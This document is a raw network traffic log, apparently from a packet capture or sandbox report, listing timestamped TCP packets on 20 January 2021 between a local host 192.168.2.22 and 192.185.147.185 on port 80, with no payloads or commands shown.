Jan 20, 2021 16:13:17.300401926 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300400972 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300417900 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300421000 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300434113 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300453901 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300462008 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300467968 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300477982 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300481081 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300501108 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300501108 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300520897 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300523996 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300539970 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300546885 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300559044 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300570011 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300585985 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300587893 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300601959 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300610065 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300616980 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300632000 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300636053 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300651073 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300652981 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300668001 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300672054 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300684929 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300693989 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300700903 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300712109 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300715923 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300733089 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300733089 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300749063 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300755024 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300769091 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300776958 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300786972 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300796032 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300801992 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300815105 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300818920 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300833941 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300837994 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300849915 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300858974 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300864935 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300880909 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300880909 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300899029 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300899982 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300916910 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300919056 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300932884 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300937891 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300949097 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300964117 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300966024 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300980091 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300995111 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300997972 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301007986 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301011086 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.301031113 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301032066 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.301048994 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.301053047 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301064968 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.301074028 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301079988 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.301091909 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301095963 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.301112890 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301116943 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.301132917 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.301155090 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302186012 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302207947 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302253008 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302262068 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302277088 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302299023 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302314043 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302315950 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302328110 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302339077 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302345037 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302356005 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302365065 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302378893 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302402020 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302403927 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302467108 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302474022 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302499056 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302526951 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302546024 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302556038 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302560091 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302589893 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302593946 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302613974 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302638054 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302655935 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302655935 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302676916 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302680969 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302691936 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302699089 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302716017 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302719116 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302738905 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302738905 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302763939 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302763939 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302774906 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302779913 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302799940 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302803040 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302815914 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302818060 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302834988 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302838087 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302854061 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302855015 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302869081 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302879095 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302885056 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302901030 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302903891 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302915096 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302916050 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302932024 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302938938 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302947998 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302957058 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302966118 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302977085 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302983046 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.302994967 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.302999020 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.303014994 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.303018093 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.303030014 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.303033113 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.303045034 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.303055048 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.303061008 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.303078890 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.304276943 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.304713964 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.304742098 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.304775000 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.304799080 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.304951906 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.304971933 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.304996967 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305020094 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.305027008 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305038929 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.305057049 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305080891 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305095911 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.305097103 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305111885 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305130959 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305134058 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.305146933 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305154085 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.305162907 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305175066 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.305179119 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.305193901 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.305212975 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.306260109 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306301117 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306313038 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.306320906 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306338072 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306353092 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306360006 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.306368113 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306382895 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306382895 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.306397915 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.306401014 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.306418896 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.306438923 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.308017969 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.308079958 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.311703920 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.311723948 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.311738968 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.311758041 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.311769009 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.311784029 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.311786890 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.459698915 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459733009 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459744930 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459769964 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459789991 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459801912 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459813118 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459825039 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459836006 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459847927 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459858894 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459871054 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459882021 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459893942 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459899902 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.459903955 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459916115 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459923029 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.459927082 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459945917 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.459949970 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459969044 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.459976912 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.459989071 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460019112 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460222960 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460259914 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460289001 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460313082 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460316896 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460329056 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460350037 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460352898 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460376978 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460396051 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460418940 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460419893 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460437059 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460448980 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460449934 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460474968 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460484982 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460495949 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460516930 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460520029 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460530043 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460544109 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460566998 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460583925 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460588932 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460601091 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460613966 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460623980 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460647106 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460648060 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460675001 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460700989 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460707903 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460725069 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460732937 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460746050 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460757017 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460773945 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460777044 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460804939 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460807085 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460835934 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460869074 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460876942 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460894108 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460901976 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460922003 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460946083 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460954905 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460968018 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.460980892 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.460990906 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461004019 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461014032 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461023092 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461044073 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461046934 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461076975 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461093903 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461107016 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461108923 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461134911 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461153030 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461169958 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461184025 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461189032 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461219072 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461221933 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461247921 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461251020 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461281061 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461286068 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461316109 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461340904 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461358070 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461365938 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461379051 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461410999 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461435080 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461448908 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461460114 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461492062 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461496115 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461517096 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461520910 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461528063 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461540937 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461555958 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461569071 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461579084 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461586952 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461605072 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461610079 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461621046 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461636066 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461646080 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461662054 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461668968 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461685896 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461714983 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461715937 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461738110 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461760998 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461771965 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461776018 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461786985 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461802006 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461805105 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461832047 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461837053 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461863041 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461885929 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461894035 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461909056 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461932898 CET	80	49165	192.185.147.185	192.168.2.22
